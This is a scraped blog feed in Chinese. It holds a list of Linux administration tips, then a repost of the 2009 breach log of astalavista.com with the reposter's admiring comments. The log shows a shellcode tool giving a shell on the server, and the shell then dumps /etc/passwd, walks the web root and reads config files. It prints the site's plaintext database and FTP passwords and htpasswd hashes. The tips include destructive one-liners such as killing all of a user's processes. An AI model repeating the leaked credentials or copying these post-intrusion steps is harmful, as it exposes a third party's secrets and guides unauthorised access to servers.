fuser –v –m /usr<br />
如果没有什么重要的进程，用以下命令停掉它们：<br />
fuser -k –v –m /usr<br />
然后就可以重新挂载这些文件系统了。</p>
<p>++网络唤醒主机<br />
ether-wake 目标网卡MAC</p>
<p>++如何查找大小为500K到1000K之间的文件<br />
find / -type f -size +500k -and -size -1000k</p>
<p>++让主机不响应ping<br />
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all<br />
若想恢复就用<br />
echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all<br />
#必须是用命令改，不能是vi修改</p>
<p>++自动注销ROOT<br />
编辑你的配置文件”vi /etc/profile”,在&#8221;HISTSIZE=&#8221;后面加入下面这行：<br />
TMOUT=300<br />
#300，表示300秒</p>
<p>++ls只列出目录<br />
ls -lF | grep ^d<br />
ls -lF | grep /$<br />
ls -F | grep /$</p>
<p>++让cron任务不回馈信息<br />
* * * * * cmd > /dev/null 2>&#038;1</p>
<p>++lsof(list open files)用法<br />
lsof -i <img src='http://www.0xf3sec.org/wp-includes/images/smilies/icon_mad.gif' alt=':x' class='wp-smiley' /> x<br />
lsof abc.txt 显示开启文件abc.txt的进程<br />
lsof -i :22 知道22端口现在运行什么程序<br />
lsof -c nsd 显示nsd进程现在打开的文件<br />
lsof -g gid 显示归属gid的进程情况</p>
<p>++改变sshd 的端口<br />
在/etc/ssh/sshd_config 中加入一行：Port 2222，/etc/init.d/sshd restart 重启守护进程</p>
<p>++防止任何人使用su 命令成为root<br />
     vi /etc/pam.d/su，在开头添加下面两行：<br />
auth sufficient /lib/security/pam_rootok.so<br />
auth required /lib/security/Pam_wheel.so group=wheel<br />
     然后把用户添加到“wheel”组：chmod -G10 username</p>
<p>++如何让ssh 只允许指定的用户登录<br />
方法1：在/etc/pam.d/sshd 文件中加入<br />
auth required pam_listfile.so item=user sense=allow file=/etc/sshusers onerr=fail<br />
然后在/etc 下建立sshusers 文件,加入允许使用ssh 服务的用户名(每一个用户名都要单独一行),重新起动sshd</p>
<p>++利用ssh 复制文件<br />
1、从A 复制B（推过去）   #scp -rp /path/filename username@remoteIP:/path<br />
2、从B 复制到A（拉过来）#scp -rp username@remoteIP:/path/filename /path</p>
<p>++linux机器挂载windows上的共享文件<br />
windows IP:192.168.1.1<br />
mount -t smbfs -o username=massky,password=massky //192.168.1.1/dbf /mnt/share<br />
如想机器重启自动挂载，vi /etc/fstab最后加入：<br />
//192.168.1.1/dbf /mnt/share smbfs defaults,auto,username=massky,password=massky 0 0</p>
<p>++定制linux 提示符<br />
在bash 中提示符是通过一个环境变量$PS1 指定的。用export $PS1 查看现在的值，比较直<br />
观常用的提示符可以设定为export PS1=“[\u@\h \W]\$”。其中\u 代表用户名，\h 代表主机<br />
名，\W 代表当前工作目录的最后一层，如果是普通用户\$则显示$，root 用户显示#。</p>
<p>++清空文件<br />
[echo] > 文件名</p>
<p>++DNS相关<br />
host -a domain.com #显示相关资讯都列出来<br />
host domain.com 202.106.0.20 #用202.106.0.20这台DNS服务器查询domain.com</p>
<p>++前后台任务相关<br />
jobs 列出属于当前用户的进程<br />
bg 将进程搬到后台运行（Background）<br />
fg 将进程搬到前台运行（Foreground）<br />
万一你运行程序时忘记使用“&#038;”了，又不想重新执行。可以先使用ctrl+z挂起程序，然后敲入bg命令，这样程序就在后台继续运行了。</p>
<p>++查找当前目录下七天前的文件,并删除<br />
find ./ -mtime +7 -type f -exec rm {} \;</p>
<p>++产生指定大小的文件(bs*count)<br />
dd if=/dev/zero of=filename bs=1000000 count=10</p>
<p>++查找当前目录下文件并更改扩展名<br />
更改所有.ss文件为.aa<br />
# find ./ -name &#8220;*.ss&#8221; -exec rename .ss .aa &#8216;{}&#8217; \;</p>
<p>++修改系统时间<br />
date -s &#8220;2005-6-4 17:26&#8243;</p>
<p>++让服务器自动同步时间<br />
0 1 * * * /usr/sbin/ntpdate 210.72.145.44<br />
或 0 1 * * * rdate -s time.nist.gov</p>
<p>++解决打开文件过多的问题<br />
在etc/security/limits.conf 配置文件中设置进程文件描述符极限：<br />
* soft nofile 2048<br />
* hard nofile 4096<br />
系统级文件描述符极限及timeout时间修改，添加如下两行到 /etc/rc.d/rc.local 启动脚本中：<br />
# Increase system-wide file descriptor limit.<br />
echo 65536 > /proc/sys/fs/file-max<br />
echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout<br />
#一般情况下，最大打开文件数比较合理的设置为每4M物理内存256，比如1G内存可以设为65536，<br />
#而最大的使用的i节点的数目应该是最大打开文件数目的3倍到4倍</p>
<p>++如何用tar打包一个目录时,去掉其中的某些子目录或指定文件<br />
加参数 –exclude 即可, 可加文件名或目录名, 可多写<br />
tar cvf –exclude {dirname,filename} #dirname不要加/</p>
<p>++终端下修改服务器时区<br />
/usr/sbin/timeconfig<br />
或直接#/etc/sysconfig/clock</p>
<p>++关闭启动时的内存不足256M提示<br />
#vi /etc/rc.sysinit #把最后六行注释掉<br />
或#vi /var/lib/supportinfo<br />
把其中的 MinRAM: 256M 这个值调低点.</p>
<p>++在多层目录中查找到某一指定&#8221;字符串&#8221;<br />
grep string -R /etc/sysconfig/<br />
find ./pathname/ -name &#8216;*&#8217; | xargs grep &#8216;string&#8217;</p>
<p>++占用CPU的一个命令<br />
#yes string #有时候测试用得上。狂占CPU</p>
<p>++Kill相关<br />
      kill -STOP [pid]<br />
   　发送SIGSTOP (17,19,23)停止一个进程，而并不消灭这个进程。<br />
kill -CONT [pid]<br />
发送SIGCONT (19,18,25)重新开始一个停止的进程。<br />
kill -KILL [pid]<br />
发送SIGKILL (9)强迫进程立即停止，并且不实施清理操作。<br />
kill -9 -1<br />
终止你拥有的全部进程。</p>
<p>++在当前目录下建个bak目录,然后 cp * bak,会提示略过bak,有其它办法可以排除指定文件(夹)?<br />
ls -F|grep -v \/|xargs -i cp {} bak #推荐<br />
或 find ! -name &#8220;./bak&#8221;</p>
<p>++ 根据进程名显示进程号<br />
# pidof httpd<br />
1846 1845 1844 1843 1842 1841 1840 1839 1820</p>
<p>++e2fsck<br />
检查使用 Linux ext2 档案系统的 partition 是否正常工作, 检查 /dev/hda5 是否正常，如果有异常便自动修复，并且设定若有问答，均回答[是] :<br />
e2fsck -a -y /dev/hda5</p>
<p>++反向输出<br />
rev 反向输出(以行为单位)<br />
tac 反向输出(全文)</p>
<p>++显示终端号<br />
tty</p>
<p>++文件行数/字数统计<br />
wc –l file   计算文件行数<br />
wc -w file 计算文件中的单词数<br />
wc -c file   计算文件中的字符数</p>
<p>++出每行第5个到第9个字符<br />
cut -b5-9 file.txt</p>
<p>++删除文本文件中出现的行列<br />
uniq</p>
<p>++返回文件所在路径<br />
dirname /bin/tux #将返回 /bin</p>
<p>++fcitx在英文环境下正常使用<br />
#vi ~/.bashrc<br />
xport LC_CTYPE=&#8221;zh_CN.UTF-8&#8243;<br />
export XMODIFIERS=&#8221;@im=fcitx&#8221;<br />
export XIM=fcitx<br />
export XIM_PROGRAM=fcitx<br />
#gnome-session-properties可以把fctix加入登入后自启动</p>
<p>++split分割合并文件<br />
split -b1440k a_whopping_big_file chunk #拆<br />
cat chunk* > a_whopping_big_file #合</p>
<p>删除 core 文件</p>
<p># find ~ -name core -exec file {} ; -exec rm -i {} ;</p>
<p>查看使用文件的进程</p>
<p># fuser -u /usr/my_application/foo</p>
<p>搜索字符串</p>
<p>#grep &#8220;hello world&#8221; `find ./ -name &#8220;*&#8221; -print -exec file {} ; |grep text | cut -d &#8216;:&#8217; -f 1`</p>
<p>目录</p>
<p>#alias dir=&#8217;ls -Lla|grep ^d&#8217;</p>
<p>输出 IP 地址</p>
<p>#ifconfig | grep &#8220;inet addr&#8221; | grep -v &#8220;127.0.0.1&#8243; | awk &#8216;{print $2;}&#8217; | awk -F&#8217;:&#8217; &#8216;{print $2;}&#8217;</p>
<p>按文件长度排序</p>
<p>#ls -l | grep ^- | sort -nr -k 5 | more</p>
<p>#ls -lR | grep ^- | sort -nr -k 5 | more</p>
<p>二进制文件中的可打印字符</p>
<p># strings name of binary file</p>
<p>一个月的最后一个星期天执行任务：</p>
<p>18 * * * 0 [`date "+%d"` -gt 24] &#038;&#038; /path/to/script</p>
<p>修改扩展名：</p>
<p># for f in *.abc; do mv $f `basename $f .abc`.def ; done</p>
<p>查看硬盘情况：(Solaris)</p>
<p># iostat -En</p>
<p>整个目录树拷贝：</p>
<p># cd</p>
<p># find . -depth -print | cpio -pudm</p>
<p>按长度排序目录下所有文件</p>
<p># du -a | sort -n -r | more</p>
<p>检查文件内每行是否有相同列数</p>
<p>#awk &#8216;{print NF}&#8217; test.txt |sort -nu|more</p>
<p>去除空行</p>
<p>#sed -e &#8216;/^[ ]*$/d&#8217; InputFile >OutputFile</p>
<p>查看进程占用的对应文件 inode 号(Solaris)</p>
<p>#/usr/proc/bin/pfiles</p>
<p>删除指定用户的所有进程</p>
<p># kill -9 `ps -fu username |awk &#8216;{ print $2 }&#8217;|grep -v PID`</p>
<p>Bash 操作快捷键：</p>
<p>ctrl-l &#8212; clear screen</p>
<p>ctrl-r &#8212; does a search in the previously given commands so that you don&#8217;t</p>
<p>have to repeat long command.</p>
<p>ctrl-u &#8212; clears the typing before the hotkey.</p>
<p>ctrl-a &#8212; takes you to the begining of the command you are currently typing.</p>
<p>ctrl-e &#8212; takes you to the end of the command you are currently typing in.</p>
<p>esc-b &#8212; takes you back by one word while typing a command.</p>
<p>ctrl-c &#8212; kills the current command or process.</p>
<p>ctrl-d &#8212; kills the shell.</p>
<p>ctrl-h &#8212; deletes one letter at a time from the command you are typing in.</p>
<p>ctrl-z &#8212; puts the currently running process in background, the process</p>
<p>can be brought back to run state by using fg command.</p>
<p>esc-p &#8212; like ctrl-r lets you search through the previously given commands.</p>
<p>esc-. &#8212; gives the last command you typed.</p>
<p>文件名里的空格替换为下划线</p>
<p># for i in $1 ; do mv &#8220;$i&#8221; `echo $i | sed &#8216;s/ /_/g&#8217;` ; done</p>
<p>查看远程主机时间</p>
<p># telnet remotehostname 13|grep :</p>
<p>只显示 top 命令的states 行</p>
<p>#while true; do top -d 2 | col -b | grep states; sleep 10; done</p>
<p>加速显示　tar 文件内容</p>
<p># tar tvfn</p>
<p>让 目录名也能　Spell Check</p>
<p>#shopt -s cdspell</p>
<p>当输错命令时，系统会自动进入类似的目录</p>
<p>查看　Sun 服务器型号</p>
<p># /usr/platform/`uname -m`/sbin/prtdiag -v | grep `uname -m`</p>
<p>在vi 中一行文字前后添加字符</p>
<p>:/^(.*)/s//我要 1 添加/</p>
<p>查找某包含字符串(Verita)软件包的详细信息 (Solaris)</p>
<p>pkginfo -l `pkginfo | grep -i VERITAS | awk &#8216;{print $2}&#8217;`</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0xf3sec.org/linux%e5%b0%8f%e6%8a%80%e5%b7%a7%e6%94%b6%e9%9b%86zz/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Astalavista被蹂躏过程</title>
		<link>http://www.0xf3sec.org/astalavista%e8%a2%ab%e8%b9%82%e8%ba%8f%e8%bf%87%e7%a8%8b/</link>
		<comments>http://www.0xf3sec.org/astalavista%e8%a2%ab%e8%b9%82%e8%ba%8f%e8%bf%87%e7%a8%8b/#comments</comments>
		<pubDate>Thu, 24 Mar 2011 07:36:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[Astalavista被蹂躏过程]]></category>

		<guid isPermaLink="false">http://www.0xf3sec.org/?p=177</guid>
		<description><![CDATA[来源：素包子的博客 http://baoz.net/ 里面两个亮点，一是远程获得apache用户权限的shell，banner是LiteSpeed，看来这玩意有0day，但是又怎么是用apache用户跑的，原来LiteSpeed这东西是和apache绑一起的，大概看了下介绍，主要功能是anti-ddos，这东西貌似还有点意思，回头玩玩。具体的看http://www.litespeedtech.com/litespeed-web-server-features.html。 [root@front3 ~]# curl -I litespeedtech.com HTTP/1.1 200 OK Date: Fri, 05 Jun 2009 22:54:51 GMT Server: LiteSpeed 另外一个亮点就是localroot了，如果不是udev的话，那么就是RHEL5.3 x64还有一个localroot 0day -_- 有人说astalavista被黑是因为Y拿milw0rm的东西赚钱，这个我觉得就是每个人的尺度问题，有人还把别人写的文章弄成自己写的，还有人把别人的程序改成自己的，多了去了。 / _ \ / _____/\__ ___/ _ \ &#124; &#124; / _ \ \ / /&#124; &#124;/ _____/\__ ___/ _ \ / /_\ \ \_____ \ &#124; &#124; / /_\ [...]]]></description>
			<content:encoded><![CDATA[<p>来源：素包子的博客</p>
<p>http://baoz.net/</p>
<p>里面两个亮点，一是远程获得apache用户权限的shell，banner是LiteSpeed，看来这玩意有0day，但是又怎么是用apache用户跑的，原来LiteSpeed这东西是和apache绑一起的，大概看了下介绍，主要功能是anti-ddos，这东西貌似还有点意思，回头玩玩。具体的看http://www.litespeedtech.com/litespeed-web-server-features.html。</p>
<p>[root@front3 ~]# curl -I litespeedtech.com<br />
HTTP/1.1 200 OK<br />
Date: Fri, 05 Jun 2009 22:54:51 GMT<br />
Server: LiteSpeed</p>
<p>另外一个亮点就是localroot了，如果不是udev的话，那么就是RHEL5.3  x64还有一个localroot 0day -_-</p>
<p>有人说astalavista被黑是因为Y拿milw0rm的东西赚钱，这个我觉得就是每个人的尺度问题，有人还把别人写的文章弄成自己写的，还有人把别人的程序改成自己的，多了去了。</p>
<p>/  _  \  /   _____/\__    ___/  _  \ |    |     /  _  \   \ /   /|   |/   _____/\__    ___/  _  \<br />
/  /_\  \ \_____  \   |    | /  /_\  \|    |    /  /_\  \   Y   / |   |\_____  \   |    | /  /_\  \<br />
/    |    \/        \  |    |/    |    \    |___/    |    \     /  |   |/        \  |    |/    |    \<br />
\____|__  /_______  /  |____|\____|__  /_______ \____|__  /\___/   |___/_______  /  |____|\____|__  /<br />
        \/        \/                 \/        \/       \/                     \/                 \/<br />
                                  The Hacking &#038; Security Community<br />
[+] Founded in 1997 by a hacker computer enthusiast<br />
[-] Exposed in 2009 by anti-sec group</p>
<p>From < <b style=”color:black;background-color:#ffff66″>http</b>://<b style=”color:black;background-color:#ffff66″>astalavista</b>.<b style=”color:black;background-color:#ffff66″>com</b>/faq>:<br />
>> 03. Who’s behind the site?<br />
>><br />
>> A team of security and IT professionals, and a countless number of contributors from all over the world.</p>
<p>>> 05. Is it true that the site is visited by script-kiddies and warez fans only?<br />
>><br />
>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and<br />
military institutions.<br />
>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information.</p>
<p>Why has Astalavista been targeted?</p>
<p>Other than the fact that they are not doing any of this for the “community” but<br />
for the money, they spread exploits for kids, claim to be a security community<br />
(with no real sense of security on their own servers), and they charge you $6.66<br />
per months to access a dead forum with a directory filled with public releases<br />
and outdated / broken services.</p>
<p>We wanted to see how good that “team of security and IT professionals” really is.</p>
<p>Let’s begin.</p>
<p>anti-sec:~# ./g0tshell astalavista.com -p 80<br />
[+] Connecting to astalavista.com:80<br />
[+] Grabbing banner…<br />
LiteSpeed<br />
[+] Injecting shellcode…<br />
[-] Wait for it</p>
<p>[~] We g0tshell<br />
uname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux<br />
ID: uid=100(apache) gid=500(apache) groups=500(apache)</p>
<p>sh-3.2$ cat /etc/passwd<br />
root:x:0:0:root:/root:/bin/bash<br />
bin:x:1:1:bin:/bin:/sbin/nologin<br />
daemon:x:2:2:daemon:/sbin:/sbin/nologin<br />
adm:x:3:4:adm:/var/adm:/sbin/nologin<br />
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin<br />
sync:x:5:0:sync:/sbin:/bin/sync<br />
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown<br />
halt:x:7:0:halt:/sbin:/sbin/halt<br />
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin<br />
news:x:9:13:news:/etc/news:<br />
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin<br />
operator:x:11:0:operator:/root:/sbin/nologin<br />
games:x:12:100:games:/usr/games:/sbin/nologin<br />
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin<br />
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin<br />
nobody:x:99:99:Nobody:/:/sbin/nologin<br />
rpm:x:37:37::/var/lib/rpm:/sbin/nologin<br />
dbus:x:81:81:System message bus:/:/sbin/nologin<br />
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin<br />
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin<br />
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin<br />
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin<br />
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin<br />
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin<br />
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin<br />
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin<br />
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin<br />
pcap:x:77:77::/var/arpwatch:/sbin/nologin<br />
named:x:25:25:Named:/var/named:/sbin/nologin<br />
apache:x:100:500::/var/www:/bin/false<br />
diradmin:x:101:101::/usr/local/directadmin:/bin/bash<br />
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash<br />
webapps:x:500:501::/var/www/html:/bin/bash<br />
majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash<br />
admin:x:501:502::/home/admin:/bin/bash<br />
jon:x:502:503::/home/jon:/bin/bash<br />
com:x:503:504::/home/com:/bin/bash<br />
ntp:x:38:38::/etc/ntp:/sbin/nologin<br />
ais:x:39:39:openais Standards Based Cluster Framework:/:/sbin/nologin<br />
astanet:x:504:505::/home/astanet:/bin/bash<br />
avahi:x:70:70:Avahi daemon:/:/sbin/nologin<br />
avahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin</p>
<p>sh-3.2$ cat /etc/hosts<br />
# Do not remove the following line, or various programs<br />
# that require network functionality will fail.<br />
127.0.0.1       localhost.localdomain   localhost<br />
::1     localhost6.localdomain6 localhost6<br />
80.74.154.172           asta1.astalavistaserver.com</p>
<p>sh-3.2$ pwd<br />
/home/com/public_html</p>
<p>sh-3.2$ ls -la<br />
total 18460<br />
drwxr-xr-x 30 com apache     4096 May 28 17:06 .<br />
drwx–x–x 11 com com        4096 Jun 25  2008 ..<br />
drwxr-xr-x  2 com com        4096 Feb  2 19:29 admin<br />
drwxrwxrwx  2 com com    18591744 Jun  4 08:04 cache<br />
drwxr-xr-x  6 com com        4096 Mar 28 21:17 cadmin<br />
drwxrwxrwx  2 com com        4096 May 19 00:50 config<br />
drwxr-xr-x  2 com com        4096 Mar 20 11:05 core<br />
drwxr-xr-x 18 com com        4096 Feb  2 19:29 core_modules<br />
drwxr-xr-x  4 com com        4096 Feb  2 19:29 customizing<br />
drwxr-xr-x  2 com com        4096 May 11 13:24 customizing_paulo<br />
drwxr-xr-x  6 com com        4096 Mar 30 12:28 __DELETE__<br />
-rw-r–r–  1 com com        8035 May 19 14:26 directory_to_mediadir.php<br />
drwxr-xr-x  2 com com        4096 Sep  9  2008 dvd<br />
drwxr-xr-x  3 com com        4096 Feb  2 19:29 editor<br />
-rw-r–r–  1 com com        3750 Feb 27 16:12 favicon.ico<br />
drwxrwxrwx  2 com com        4096 Jun  4 08:00 feed<br />
-rwxrwxrwx  1 com com       10736 May 29 12:44 .htaccess<br />
-rw-r–r–  1 com com        7638 Apr 21 08:45 .htaccess.2009-04-21.bak<br />
-rw-r–r–  1 com com       10768 May 11 11:53 .htaccess.2009-05-11.bak<br />
drwxr-xr-x 18 com com        4096 Apr  9  2008 ideapool<br />
drwxrwxrwx 14 com com        4096 Feb  2 19:29 images<br />
-rw-r–r–  1 com com       97496 Jun  2 13:01 index.php<br />
drwxr-xr-x  6 com com        4096 Feb  2 19:29 installer<br />
drwxr-xr-x  8 com com        4096 Feb  2 19:29 lang<br />
drwxr-xr-x 22 com com        4096 Feb  2 19:29 lib<br />
drwxrwxrwx 12 com com        4096 Jun  2 07:47 media<br />
drwxr-xr-x  8 com com        4096 May 11 12:48 modifications<br />
drwxr-xr-x 34 com com        4096 May 28 16:30 modules<br />
drwxr-xr-x 11 com com        4096 Jan 30 15:00 _myAdmin<br />
drwxrwxr-x 22 com com        4096 May 28 17:06 _new<br />
drwxr-xr-x 26 com com        4096 Feb  2 19:27 _old<br />
drwxr-xr-x  2 com com        4096 Mar 30 12:29 phproxy<br />
drwxr-xr-x  2 com com        4096 Mar 30 12:30 proxy<br />
-rw-r–r–  1 com com          26 Feb  2 19:33 robots.txt<br />
-rwxrwxrwx  1 com com       10844 Jun  2 09:50 sitemap.xml<br />
-rw-r–r–  1 com com         223 Mar 30 15:32 test.php<br />
drwxrwxrwx  8 com com        4096 Mar  6 13:15 themes<br />
drwxrwxrwx  3 com com        4096 Jun  4 08:00 tmp<br />
drwxr-xr-x  3 com com        4096 Feb  2 19:33 webcam<br />
<span id="more-177"></span><br />
sh-3.2$ head -20 index.php<br />
<?php</p>
<p>/**<br />
* The main page for the CMS<br />
* @copyright   CONTREXX CMS - COMVATION AG<br />
* @author      Comvation Development Team<br />
* @version     v1.0.9.10.1 stable<br />
* @package        contrexx<br />
* @subpackage    core<br />
* @link        http://www.contrexx.com/ contrexx homepage<br />
* @since       v0.0.0.0<br />
* @todo        Capitalize all class names in project<br />
* @uses        /config/configuration.php<br />
* @uses        /config/settings.php<br />
* @uses        /config/version.php<br />
* @uses        /core/API.php<br />
* @uses        /core_modules/cache/index.class.php<br />
* @uses        /core/error.class.php<br />
* @uses        /core_modules/banner/index.class.php<br />
* @uses        /core_modules/contact/index.class.php</p>
<p>sh-3.2$ cd config/<br />
sh-3.2$ ls -la<br />
total 32<br />
drwxrwxrwx  2 com com    4096 May 19 00:50 .<br />
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..<br />
-rwxrwxrwx  1 com com    2998 May 11 12:29 configuration.php<br />
-rwxrwxrwx  1 com com    7610 May 28 17:27 set_constants.php<br />
-rwxrwxrwx  1 com com    4186 May 25 12:54 settings.php<br />
-rwxrwxrwx  1 com com     672 Feb  2 19:29 version.php</p>
<p>sh-3.2$ cat configuration.php<br />
[snip]<br />
$_DBCONFIG['host'] = ‘localhost’; // This is normally set to localhost<br />
$_DBCONFIG['database'] = ‘com_contrexx2_live’; // Database name<br />
$_DBCONFIG['tablePrefix'] = ‘contrexx_’; // Database table prefix<br />
$_DBCONFIG['user'] = ‘contrexxuser2′; // Database username<br />
$_DBCONFIG['password'] = ‘0fEYNZgXz1pKe’; // Database password<br />
$_DBCONFIG['dbType'] = ‘mysql’; // Database type (e.g. mysql,postgres ..)<br />
$_DBCONFIG['charset'] = ‘utf8′; // Charset (default, latin1, utf8, ..)<br />
[snip]<br />
$_FTPCONFIG['is_activated'] = true; // Ftp support true or false<br />
$_FTPCONFIG['use_passive'] = true;      // Use passive ftp mode<br />
$_FTPCONFIG['host']     = ‘localhost’;// This is normally set to localhost<br />
$_FTPCONFIG['port'] = 21; // Ftp remote port<br />
$_FTPCONFIG['username'] = ‘dev@astalavista.com’; // Ftp login username<br />
$_FTPCONFIG['password'] = ‘jajklop0Iuj’; // Ftp login password<br />
$_FTPCONFIG['path']     = ‘/’; // Ftp path to cms</p>
<p>sh-3.2$ cd ..<br />
sh-3.2$ cd dvd/<br />
sh-3.2$ ls -la<br />
total 2913780<br />
drwxr-xr-x  2 com com          4096 Sep  9  2008 .<br />
drwxr-xr-x 30 com apache       4096 May 28 17:06 ..<br />
-rw-r–r–  1 com com    1050061483 May 16  2008 astalavista_security_toolbox_dvd_2008.part1.rar<br />
-rw-r–r–  1 com com    1050061483 May 16  2008 astalavista_security_toolbox_dvd_2008.part2.rar<br />
-rw-r–r–  1 com com     880644069 May 16  2008 astalavista_security_toolbox_dvd_2008.part3.rar<br />
-rw-r–r–  1 com com           115 Jan 29  2008 .htaccess</p>
<p>sh-3.2$ cat .htaccess<br />
authType Basic<br />
authName DVD<br />
authUserFile /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd<br />
require valid-user</p>
<p>sh-3.2$ cat /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd<br />
DVDdownload:CRD8cuY6.MPT6<br />
DVDdownload2:CR8a36.wluFMg</p>
<p>sh-3.2$ cat test.php<br />
<?php<br />
$url = ‘aHR0cDovL2kubnVzZWVrLmNvbS9pbWFnZXMvdGVtcGxhdGUvMzYweDMxOC9pc3QyXzc0Njc4MV9mZW1hbGVfc3R1ZGVudC5qcGc%3D’;<br />
$url = str_replace(array(’&amp;’, ‘&#38;’), ‘&#038;’, base64_decode(rawurldecode($url)));<br />
echo $url;<br />
?></p>
<p>sh-3.2$ cd modifications/<br />
sh-3.2$ ls -la<br />
total 32<br />
drwxr-xr-x  8 com com    4096 May 11 12:48 .<br />
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..<br />
drwxr-xr-x  3 com com    4096 Feb  2 19:33 com_avtng<br />
drwxr-xr-x  3 com com    4096 May 12 09:26 cronjobs<br />
drwxr-xr-x  2 com com    4096 Mar  2 10:35 onlinetools<br />
drwxr-xr-x  4 com com    4096 Feb  2 19:33 pjirc<br />
drwxr-xr-x  2 com com    4096 Feb  2 19:33 search<br />
drwxr-xr-x  2 com com    4096 Mar 25 08:56 _tmp</p>
<p>sh-3.2$ ls -R<br />
.:<br />
com_avtng  cronjobs  onlinetools  pjirc  search  _tmp</p>
<p>./com_avtng:<br />
avtng.php  banner_bottom.inc.php  banner_button.inc.php  banner_content.inc.php  banner_popunder.inc.php  banner_right.inc.php  banner_top.inc.php  iframe.php  scripts</p>
<p>./com_avtng/scripts:<br />
popunder.js</p>
<p>./cronjobs:<br />
exploits.php  exploits.sh  google_blogindexing.php  ip2country.sh  proxydb2.php  proxydb.php  securitynews.php  tmp</p>
<p>./cronjobs/tmp:<br />
contrexx_module_onlinetools_defaultports.csv  contrexx_module_onlinetools_geolitecity_country.csv</p>
<p>./onlinetools:<br />
index.php</p>
<p>./pjirc:<br />
a_big.jpg          english.lng       img              irc.jar           NormalApplet.html  pixx-french.lng  pjirc.cfg       securedirc-unsigned.cab  thanks.txt<br />
AppletWithJS.html  french.lng        IRCApplet.class  irc-unsigned.jar  pixx.cab           pixx.jar         readme.txt      SimpleApplet.html        versions.txt<br />
background.gif     HeavyApplet.html  irc.cab          license.txt       pixx-english.lng   pixx-readme.txt  securedirc.cab  snd</p>
<p>./pjirc/img:<br />
ange.gif    bombe.gif   clin-oeuil.gif         content.gif  enerve2.gif  garcon.gif     langue.gif  mecontent.gif  ordi.gif       portable.gif   sapin.gif    triste.gif<br />
arbre.gif   bouche.gif  clin-oeuil-langue.gif  cool.gif     femme.gif    grognon.gif    lettre.gif  newbie.gif     pere-noel.gif  pouce-non.gif  sleep.gif<br />
verre-eau.gif<br />
argh.gif    bouqin.gif  coeur-brise.gif        diable.gif   fille.gif    halloween.gif  lit.gif     OH-1.gif       pleure.gif     pouce-oui.gif  soleil.gif<br />
verre-vin.gif<br />
ballon.gif  cadeau.gif  coeur.gif              dwchat.gif   fleur.gif    hamburger.gif  love.gif    OH-2.gif       poisson.gif    roll-eyes.gif  sourire.gif  yinyang.gif<br />
biere.gif   chien.gif   comprends-pas.gif      enerve1.gif  fume.gif     homme.gif      lune.gif    OH-3.gif       pomme.gif      rouge.gif      terre.gif</p>
<p>./pjirc/snd:<br />
bell2.au  ding.au</p>
<p>./search:<br />
searchEngines.php  search.php</p>
<p>./_tmp:<br />
defaultPorts.php  defaultPorts.txt</p>
<p>sh-3.2$ cd cronjobs/<br />
sh-3.2$ cat exploits.php<br />
[snip]<br />
$categories   = array();<br />
$milw0rmFile  = FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/sploitlist.txt’;<br />
$expolits     = file($milw0rmFile);<br />
$comExploits  = array();<br />
[snip]<br />
// manage data<br />
for ($x = 0; $x < count($expolits); $x++){ // count($expolits) - 2640</p>
<p>    // get path and title<br />
    $expolits[$x] = trim($expolits[$x]);<br />
    $path         = str_replace(’./’, FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/’, substr($expolits[$x], 0, strpos($expolits[$x], ‘ ‘)));<br />
    $title        = htmlspecialchars(substr($expolits[$x], strpos($expolits[$x], ‘ ‘) + 1, strlen($expolits[$x])), ENT_QUOTES);</p>
<p>    // check if file exists<br />
    if (file_exists($path)) {</p>
<p>        $text = file_get_contents($path);</p>
<p>        // get content and date<br />
        //$text = htmlspecialchars($text, ENT_QUOTES);<br />
        $tmptext = addslashes(htmlentities($text,  ENT_QUOTES, “UTF-8″));<br />
        if ($tmptext != ”) {<br />
            $text = $tmptext;<br />
        } else {<br />
            $text = addslashes(htmlentities($text,  ENT_QUOTES));<br />
        }<br />
        $date = str_replace(’milw0rm.com [', '', str_replace(']‘, ”, strstr($text, ‘milw0rm.com [')));<br />
        $tmp  = explode('-', $date);<br />
        $date = mktime(0, 0, 0, trim($tmp[1]), trim($tmp[2]), trim($tmp[0]));<br />
        $cat  = getCategory ($path);<br />
        $ext  = pathinfo(basename($path));<br />
        $ext  = $ext['extension'];<br />
        $qStr = ”<br />
            SELECT  `id`<br />
            FROM    `contrexx_module_exploits`<br />
            WHERE   `title`  =  ‘” . $title . “‘<br />
            AND     `date`   =  ‘” . $date . “‘<br />
        “;<br />
        echo $x + 1 . ‘ von ‘ . count($expolits) . ‘ -> ‘ . $qStr . “\n”;<br />
        $q = $_objDB->query($qStr);</p>
